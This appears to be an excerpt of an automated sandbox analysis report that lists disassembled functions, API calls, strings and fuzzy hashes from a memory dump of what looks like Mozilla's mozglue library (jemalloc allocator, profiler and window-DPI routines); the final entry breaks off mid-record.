Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

FillRect, xrefs: 6C535729
user32, xrefs: 6C535601
MonitorFromWindow, xrefs: 6C53578D
SetWindowPos, xrefs: 6C5356F7
DeleteObject, xrefs: 6C5357F9
RegisterClassW, xrefs: 6C5356AC
StretchDIBits, xrefs: 6C5357CC
CreateWindowExW, xrefs: 6C5356C5
GetThreadDpiAwarenessContext, xrefs: 6C53562D
AreDpiAwarenessContextsEqual, xrefs: 6C535637
gdi32, xrefs: 6C53560A
GetSystemMetricsForDpi, xrefs: 6C535677
SetWindowLongPtrW, xrefs: 6C5357B7
ReleaseDC, xrefs: 6C535742
EnableNonClientDpiScaling, xrefs: 6C535666
GetMonitorInfoW, xrefs: 6C5357A2
GetWindowDC, xrefs: 6C535710
ShowWindow, xrefs: 6C5356DE
LoadIconW, xrefs: 6C53575B
CreateSolidBrush, xrefs: 6C5357E4
GetDpiForWindow, xrefs: 6C535690
LoadCursorW, xrefs: 6C535774

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

nvdxgiwrap.dll, xrefs: 6C4E6513
user32.dll, xrefs: 6C4E6526
nvd3d9wrap.dll, xrefs: 6C4E6500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
_etoured.dll, xrefs: 6C4E64ED
detoured.dll, xrefs: 6C4E64DA

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C4FE621
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
MOZ_CRASH(), xrefs: 6C4FE62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
MALLOC_OPTIONS, xrefs: 6C4FE3FF

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED10
~qMl, xrefs: 6C4FED13

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

